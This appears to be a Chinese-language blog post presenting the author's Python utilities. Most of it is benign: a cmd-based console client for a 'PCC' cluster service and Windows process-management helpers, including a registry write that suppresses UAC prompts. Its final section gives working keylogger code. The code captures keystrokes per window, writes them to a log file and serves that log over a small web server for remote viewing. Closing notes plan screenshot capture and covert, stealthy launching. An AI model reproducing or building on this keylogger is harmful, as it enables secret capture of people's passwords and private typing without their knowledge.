python实现的工具

#工具汇总

##命令行解释控制台程序

cmd:行命令解释器框架
unicurses(依赖pdcurses)
扩展模块pccuserppyy

###源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#coding=gbk
import cmd,time
import re
import sys
from unicurses import *
#sys.path.append(r"D:\niwho-work\PCC_Center\Release")
import PCCUserppyy
import unicurses
#from msvcrt import putch


P1 = re.compile(r'\s*-([a-zA-Z])\s*')
IPP1 = re.compile(r'\d{1,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}(\.\d{3,5})?')
E1 = re.compile(r'\s*(\d+)\s*,\s*([^,]+)\s*,\s*([^,]+)\s*(?:,\s*([^,]+)\s*)?')

def _get_terminal_size_windows():
try:
import struct
from ctypes import windll, create_string_buffer
# stdin handle is -10
# stdout handle is -11
# stderr handle is -12
h = windll.kernel32.GetStdHandle(-12)
csbi = create_string_buffer(22)
res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
if res:
(bufx, bufy, curx, cury, wattr,
left, top, right, bottom,
maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
sizex = right - left + 1
sizey = bottom - top + 1
return sizex, sizey
except:
pass

class PCCCMD(cmd.Cmd):
"""Simple command processor example."""
prompt = 'pcc> '
intro = \
'''********************************
*****PCC TERMINAL BY NIWHO.*****
*****all copyright reserved*****
********************************
输入help,显示所有命令,help 【命令】,显示该命令具体使用信息。如有疑问请拨打。
'''
sz = _get_terminal_size_windows()
sz = sz if sz else (80,25);
pwz = sz[0]-1

strms = '.---- ---.. -.... ----- ----- ....- -.... -.... ----- ..... .----'
pwz00 = (pwz-len(strms))/2
strmsmail = '-. .. .-- .... ---@.---- ..--- -.... .-.-.- -.-. --- --'
strmsmail = '-.... ....- ----. ----. ---.. ...-- ---.. ...-- ----.. ..... .....'
pwz01 = (pwz-len(strmsmail))/2
str1 = 'PCC TERMINAL BY NIWHO.'
pwz1 = (pwz-len(str1))/2
str2 = 'all copyright reserved 2015'
pwz2 = (pwz-len(str2))/2
str3 = '输入help,显示所有命令,help 【命令】,显示该命令具体使用信息。如有疑问请联系 ...'
#print len(str3)
pwz3 = (pwz-len(str3))/2
intro = \
'{0}\n{1}\n{2}\n{3}\n{4}'.format(
'%s%s%s'%('*'*pwz00,strms,'*'*(pwz-pwz00-len(strms)))
,'%s%s%s'%('*'*pwz1,str1,'*'*(pwz-pwz1-len(str1)))
,'%s%s%s'%('*'*pwz2,str2,'*'*(pwz-pwz2-len(str2)))
,'%s%s%s'%('*'*pwz3,str3,'*'*(pwz-pwz3-len(str3)))
,'%s%s%s'%('*'*pwz01,strmsmail,'*'*(pwz-pwz01-len(strmsmail)))
)

doc_header = '命令,help [topic]详细'
misc_header = 'misc_header'
undoc_header = ''
def do_connect(self, line):
if IPP1.match(line):
if not IPP1.match(line).group(1):
line+='.9011'#不给端口的默认值
rt = PCCUserppyy.SetServeIPP(line)
if 0 == rt:
print '连接成功'
else :
print '连接错误:%d'%(rt,)
else:
if line.strip()=='':
rt = PCCUserppyy.SetServeIPP('127.0.0.1.9011')
if 0 == rt:
print '连接成功'
else :
print '连接错误:%d'%(rt,)
else:
print 'IPP 格式错误:%s'%(line,)

def help_connect(self ):
print '\n'.join([
'连接PCC服务器',
'例如:connect 127.0.0.1.9011',
])

def do_list(self,line):
mt = P1.match(line)
if mt:
if 'e' == mt.group(1):
#'模型'
lmod=[]
PCCUserppyy.ListModels(lmod)
for tr in lmod:
print tr
elif 'u' == mt.group(1):
#'模块'

trunks=[]
PCCUserppyy.ListTrunk(trunks)
#print trunks
for tr in trunks:
#print tr

md = []
PCCUserppyy.ListModules(trunks[0],md)
for m in md:
print tr,m['moduleKey'],m['moduleTag.name'],m['description']
else:
print '格式错误'
else:
print '未定义参数'
def help_list(self):
print '\n'.join([
'-e 列举模型',
'-u 列举模块',
])
def do_execute(self,line):
#id,inputurl,outputurl,param
mt = E1.match(line)
if mt:
#print long(mt.group(1))
#print mt.group(2)
#print mt.group(3)
#print mt.group(4)
#return
#execute 1,PFS://192.168.12.18.9000/admin/amdin:/ariyoshi.avi:0:2015530,\\\\
rt,jobkey = PCCUserppyy.Execute(long(mt.group(1))
,mt.group(2)
,mt.group(3)
,mt.group(4) if mt.group(4) else '')
print rt,jobkey
else:
print '格式错误'
def help_execute(self):
print '\n'.join([
'id,inputurl,outputurl,param'
,'算法参数可为空(不传)'
])

def do_cancle(self,line):
jobs2cancel=[]
for d in line.split(','):
for dd in d.split(','):
try:
jobs2cancel.append(long(dd))
except:
continue
#print jobs2cancel
PCCUserppyy.CancelJobs(jobs2cancel)
def do_jobid(self,line):
jobsid=[]
for d in line.split(','):
for dd in d.split(','):
try:
jobsid.append(long(dd))
except:
continue
#print jobs2cancel
#print jobs2cancel
jobs = []
PCCUserppyy.QueryJobsByID(jobsid,jobs)
#print jobs
for j in jobs:
print j

def help_cancle(self):
print '\n'.join([
'cancle id1,id2,id3'
,'例如: cancle 1,2,3'
])
def do_job(self,line):
''' 运行中的作业'''
jobs = []
PCCUserppyy.QueryJobsOnDoing(jobs)
for j in jobs:
print j
def do_node(self,line):
nds = []
stdscr = initscr()
noecho()
LINES, COLS = getmaxyx(stdscr)
if (has_colors() == False):
endwin()
print("Your terminal does not support color!")
return
halfdelay(10)#1s

start_color()
padstr=' '*3;
mvaddstr(0,0," %-4s%s%-17s%s%-6s%s%-8s%s%-8s%s%-8s"%('num',padstr,'node',padstr,'cores'
,padstr,'cpu_usage',padstr,'mem_usage'
,padstr,'netio(kb/s)'
)
,unicurses.A_REVERSE)
while True:
nds = []
PCCUserppyy.ListNodes(nds);
k = 1

for n in nds:
#n.keyVal()
#print '机器IP:%-16s,逻辑核数:%-3d'%(n['机器'],n['逻辑核数'])
#print "%-17s%-4d%02d%% %02d%% %02d%%"%(n['machine'],n['cores'] ,n['cpu'],n['mem'],n['net'])
mvaddstr(k,0," %-2d %s%-17s%s%-4d %s%02d%% %s%02d%% %s%04dkb/s"%(k,padstr,n['machine'],padstr,n['cores']
,padstr,n['cpu'],padstr,n['mem'],padstr,n['net'])
,unicurses.A_REVERSE if k%2==0 else unicurses.A_NORMAL)
k+=1
#time.sleep(1)
#refresh()
try:
ch = getch()
if ch == ord('q'):

break
#else:
# mvaddstr(k,0,"else:%d"%ch)
except unicurses.ERR,e:
mvaddstr(k+1,0,"err:%s"%e)
continue
#putch('a')
#mvaddstr(k,0,"k:%d"%k)
#ch = getch()
#print ch
endwin()
def do_cancleall(self,line):
jobs = []
jobs2cancel=[]
PCCUserppyy.QueryJobsOnDoing(jobs)
for j in jobs:
#j['outerkey']
jobs2cancel.append(j['outerkey'])
PCCUserppyy.CancelJobs(jobs2cancel)

def do_EOF(self, line):
''' '''
return True

if __name__ == '__main__':
PCCUserppyy.Init()

PCCCMD().cmdloop()
PCCUserppyy.UnInit()

###截图

启动并连接

Alt 启动界面

输入:node 命令

Alt pdcurses动态数据显示

###进一步

  1. pdcurses的数据显示部分,考虑panel(或window)控件化,一个panel对应一个节点。目前是每次重新绘制,节点减少的状况下,有残留绘制问题。
  2. 打包问题,使用py2exe打包为单个exe文件,由于unicurses包装的pdcurses使用ctpyes的方式导入,pdcurses.dll无法打包到压缩的exe中(尝试修改py2exe的打包,添加这个dll,ctypes是从本地目录导入,无法从内存从直接加载,不能解决)需要和exe一起发布。

##程序启动和关闭

项目中的程序分为许多子模块(exe),并且父进程守护子进程,直接点击关闭窗口的方式,父进程和子进程收到的关闭信号的先后顺序是不确定的
使用wmi模块,递归关闭进程,由上及下(父进程守护),只需指定父进程id即可
UAC弹窗问题,这里其实本身不是问题。第三方程序的方式调用时有弹窗阻塞,需要人为点击。这里使用uac虚拟化解决。

###uac虚拟化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def regAdministrator():#注册设置,尝试屏蔽弹窗
'HKEY_CURRENT_USERS\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers '
key = win32api.RegCreateKeyEx(win32con.HKEY_CURRENT_USER
,'Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'
, win32con.KEY_ALL_ACCESS)#win32con.KEY_ALL_ACCESS)
print key
#key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER
# ,'Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'
# , win32con.KEY_READ)
key = key[0]
print key
#print win32api.RegCreateKeyEx(key,'niwhoaaaa\\bbbbbb\\ccccccccc', win32con.KEY_ALL_ACCESS,"")
try:
startexe=cur_file_dir()+'\\'+PCCCENTER[0]
win32api.RegQueryValueEx(key,startexe)#'r'C:\niwho\workspace\Yi\pccmanager\PCC_Node.exe')
except pywintypes.error:#不存在 则创建
win32api.RegSetValueEx(key,startexe,0,win32con.REG_SZ,'~ RunAsInvoker')

try:
startexe=cur_file_dir()+'\\'+PCCNODE[0]
win32api.RegQueryValueEx(key,startexe)
except pywintypes.error:#不存在 则创建
win32api.RegSetValueEx(key,startexe,0,win32con.REG_SZ,'~ RunAsInvoker')

try:
startexe=cur_file_dir()+'\\'+os.path.basename(sys.path[0])##
win32api.RegQueryValueEx(key,startexe)
except pywintypes.error:#不存在 则创建
win32api.RegSetValueEx(key,startexe,0,win32con.REG_SZ,'~ RunAsInvoker')


win32api.RegCloseKey(key)

###递归关闭进程

1
2
3
4
5
def recuseKill(self,c,parentpid):     
for process in c.Win32_Process(parentProcessId=parentpid):
print 'kill ',process.name,process.ProcessId
process.Terminate()
self.recuseKill(c,process.ProcessId)

###源码
详见pccmanger.py

##键盘hook

键盘按键信息捕获

###根据当前窗口名称,分组按键信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
prev_windows_name = None  
def onKeyboardEvent(event):
"处理键盘事件"
#print dir(event)
global prev_windows_name
#print prev_windows_name,event.WindowName
if prev_windows_name == event.WindowName:
if event.Ascii > 32 and event.Ascii <127:
fobj.write('%s'%(chr(event.Ascii),))
elif str(event.Key)=='Return':
fobj.write('[%s]'%str(event.Key))
print '[%s]<br/>\n'%str(event.Key)
else:
fobj.write('[%s]'%str(event.Key))
else:#不相等
prev_windows_name = event.WindowName
ss = '<br>\n【%s】<br/>\n'%(str(event.WindowName),)
fobj.write(ss.decode('gbk').encode('utf8'))

if event.Ascii > 32 and event.Ascii <127:
fobj.write('%s'%(chr(event.Ascii),))
print '%s'%(chr(event.Ascii),)
elif str(event.Key)=='Return':
fobj.write('[%s]'%str(event.Key))
print '[%s]<br/>\n'%str(event.Key)
else:
fobj.write('[%s]'%str(event.Key))
fobj.flush()

###简单的远程查看(web方式)

1
2
3
4
5
6
7
8
@route('/')
def index():
#pass
filename='hook_log.txt'
fobj = open(filename, 'r')
#print fobj.read()
#ss = fobj.read()
return open(filename, 'r')#gbk编码文件 #bottle.static_file(filename, root='./')

###源码
详见keboard_recoder.py
###进一步

  1. 注意这里的http服务和键盘钩子服务使用multiprocessing分开,2这都需要循环,尝试合并到一起,gevent的协程hub会造成PumpMessages的阻塞
  2. 增加截图会更有‘指导性’,注意图片大小问题,全屏截图有系统api
  3. 程序的悄悄启动问题, gray hat python可以找到一些指引,hook‘正常的操作’做些动作,再返回‘正常的操作’